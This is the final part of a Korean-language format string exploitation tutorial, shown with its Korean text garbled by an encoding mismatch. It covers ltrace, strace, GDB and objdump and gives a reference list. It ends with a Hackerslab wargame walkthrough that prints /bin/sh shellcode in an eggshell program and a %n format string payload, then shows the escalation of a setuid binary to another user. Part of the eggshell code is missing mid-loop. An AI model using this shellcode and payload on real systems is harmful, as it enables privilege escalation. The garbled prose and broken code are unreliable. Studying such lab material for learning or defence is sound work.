ÇØÁØ´Ù. ÀÌ¹Ì ¸¸µé¾îÁø ¸ðµç Æ÷¸Ë ÇÔ¼ö´Â ¶óÀ̺귯¸® È£Ãâ°ú ±×µéÀÇ ÀÎÀÚµéÀ̸ç, °¡Àå Áß¿äÇÑ °ÍÀº ±×µéÀÇ ÁÖ¼ÒµéÀÌ ltrace¸¦ »ç¿ëÇÏ¿© È®À뵃 ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ÀÌ·± ½ÄÀ¸·Î ÇÑ´Ù¸é ¿ì¸®°¡ ptraceÇÒ ¼ö ÀÖ´Â ¾î¶² ÇÁ·Î¼¼½ºÀÇ Æ÷¸Ë ½ºÆ®¸µ ÁÖ¼Ò¸¦ ½Å¼ÓÇÏ°Ô È®ÀÎÇÒ ¼ö ÀÖ´Ù. strace ÇÁ·Î±×·¥Àº µ¥ÀÌÅͰ¡ ÀÐÇôÁö´Â ¹öÆÛÀÇ ÁÖ¼Ò¸¦ È®ÀÎÇϴµ¥ »ç¿ëµÈ´Ù. ÀÌ µÎ °¡Áö ÅøÀ» ¹è¿ì±â À§Çؼ­´Â ¸¹Àº ½Ã°£ÀÌ ÇÊ¿äÇѵ¥, ÀÌ ÅøµéÀ» GDB attach Çϴµ¥ »ç¿ëÇÒ °ÍÀÌ´Ù. 7.2 GDB, objdump °íÀüÀûÀÎ GNU µð¹ö±×ÀÎ GDB´Â ÅØ½ºÆ® ±â¹ÝÀÇ µð¹ö±×Àε¥, ¼Ò½º Â÷¿ø°ú ¸Ó½Å ÄÚµå µð¹ö±ëÀ» À§ÇØ ÀûÀýÇÏ´Ù. ÀÏ´Ü À̰Ϳ¡ Àͼ÷ÇØÁö¸é ÇÁ·Î±×·¥ ÀÎÅͳο¡ ´ëÇÑ °­·ÂÇÑ ÀÎÅÍÆäÀ̽º°¡ µÉ °ÍÀÌ´Ù. exploitÀ» µð¹ö±ëÇÏ´Â °ÍÀ¸·ÎºÎÅÍ ÇÁ·Î¼¼½º°¡ ÀͽºÇ÷ÎÀյǴ °ÍÀ» ÁöÄѺ¸´Â °Í±îÁö ¾î¶² °ÍÀ» À§Çؼ­µµ Æí¸®ÇÏ´Ù. ObjdumpÀº ¸Þ¸ð¸® ·¹À̾ƿô°ú °°Àº ½ÇÇà °¡´ÉÇÑ ¹ÙÀ̳ʸ®³ª ¿ÀºêÁ§Æ® ÆÄÀÏ¿¡ ´ëÇÑ Á¤º¸¸¦ ¾Ë¾Æ³»´Âµ¥ ÀûÀýÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. ¿ì¸®´Â ÁÖ·Î ¹ÙÀ̳ʸ®·ÎºÎÅÍ GOT ¿£Æ®¸®ÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ³»´Âµ¥ »ç¿ëÇÒ °ÍÀÌ´Ù. ¹°·Ð ´Ù¸¥ À¯¿ëÇÑ ¹æ½ÄÀ¸·Îµµ »ç¿ëµÉ ¼ö ÀÖ´Ù. [Âü°í¹®Çå] [1] TESO Security Group, http://www.team-teso.net/ [2] Chaos Computer Club: 17th Chaos Communication Congress, http://www.ccc.de/congress/ [3] portal, "Format String Exploitation Demystified , preliminary version 21, not yet published", http://www.security.is/ [4] Pascal Bouchareine, "format string vulnerability", http://www.hert.org/papers/format.html [5] Plasmoid / THC, Stack over flows, http://www.thehackerschoice.com/papers/OVERFLOW.TXT [6] Halvar Flake, Auditing binaries for security vulnerabilities , http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt [7] GDB, The GNU Debugger, http://www.gnu.org/software/gdb/gdb.html [8] ltrace, no official maintainer, http://www.debian.org/Packages/stable/utils/ltrace.html [9] strace, http://www.wi.leidenuniv.nl/%7ewichert/strace/ [10] GNU binutils, http://www.gnu.org/gnulist/production/binutils.html [11] PaX group, "Implementing non executeable rw pages on the x86", http://pageexec.virtualave.net/ [12] Tool Interface Standard, Executeable and Linking Format Specifications v1.2, http://segfault.net/%7escut/cpu/generic/TIS-ELF v1.2.pdf [13] Silvio, ELF executeable reconstruction from a core image , http://www.big.net.au/%7esilvio/core-reconstruction.txt [14] Solar Designer, post to Bugtraq mailing list demonstrating return into libc, Bugtraq Archives 1997 August 10 [15] Solar Designer, JPEG COM Marker Processing Vulnerability in Netscape Browsers, advisory demonstrating malloc management information overwrite, http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt [16] Pascal Bouchareine, __atexit in memory bugs: proof of concept [17] Juan M. Bello Rivas, Overwriting the .dtors section [18] Matt Conover aka Shok, w00w00 on Heap Over ows , http://www.w00w00.org/files/articles/heaptut.txt [19] Bulba and Kil3r, Lam3rZ, Bypassing StackGuard and StackShield, Phrack issue 56, article #5, http://phrack.infonexus.com/ [20] Kil3r, Lam3rZ, 33_su.c, exploit for su/msgfmt for Immunix Linux [21] LSD crew, IRIX telnet daemon exploit irx_telnetd.c and explanations, http://www.lsd-pl.net/, http://www.securityfocus.com/templates/archive.pike?list=1&mid=75864 [22] TESO wu-ftpd 2.6.0 exploit: 7350wu, http://www.team-teso.net/releases.php ------------------------------- EOF --------------------------------------- /* ´ÙÀ½Àº ÇØÄ¿Áî·¦ ·¹º§17 ¹®Á¦(Æ÷¸Ë½ºÆ®¸µ ¹®Á¦) Ç®ÀÌ °úÁ¤ÀÔ´Ï´Ù. Æ÷¸Ë ½ºÆ®¸µ ±ÛÀ» ¸¶Ä¡¸ç ¿Ã·È´Âµ¥, Àú°¡ »ç¿ëÇÑ ¹æ¹ýÀÌ´Ï Âü°í¸¸ ÇϽñ⠹ٶø´Ï´Ù. ÀÌÁ¦±îÁö °ü·Ã ±ÛÀ» ÀÐ°í Æ÷¸Ë ½ºÆ®¸µ ¹ö±×¸¦ °ø°ÝÇÏ´Â ¹æ¹ýÀ» ½Ç½ÀÇØº¸½Ã±æ ¹Ù¶ø´Ï´Ù. ÇØÄ¿Áî·¦ ¹®Á¦¿¡ ´ëÇÑ Áú¹®Àº »èÁ¦ÇϰڽÀ´Ï´Ù. */ [level16@drill tmp]$ find / -perm -4000 -user level17 2> /dev/null -exec ls -al {} \; -rws--x--- 1 level17 level16 963025 Apr 20 13:35 /usr/local/bin/format [level16@drill tmp]$ /usr/local/bin/format INPUT : AAAA%x%x%x%x OUTPUT : AAAA414141417825782578257825a &stack is 0xbffffc9c [level16@drill tmp]$ mkdir vangelis [level16@drill tmp]$ cd vangelis [level16@drill vangelis]$ vi eggshell.c #include #define OFFSET 0 #define BUFFER 512 #define EGG 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset = OFFSET, buffer = BUFFER; int i, egg_s = EGG; if (argc > 1) buffer = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) egg_s = atoi(argv[3]); if (!(buff = malloc(buffer))) { printf("Failed.\n"); exit(0); } if (!(egg = malloc(egg_s))) { printf("Failed.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i=0;i attack (printf "\x41\x41\x41\x41\xf4\x79\xff\xbf\x41\x41\x41\x41\xf6\x79\xff\xbf%%63176c%%n%%51495c%%n";cat) | /usr/local/bin/format [level16@drill vangelis]$ chmod 755 attack [level16@drill vangelis]$ ./attack whoami level17 id uid=2016(level16) gid=2016(level16) euid=2017(level17) groups=2016(level16)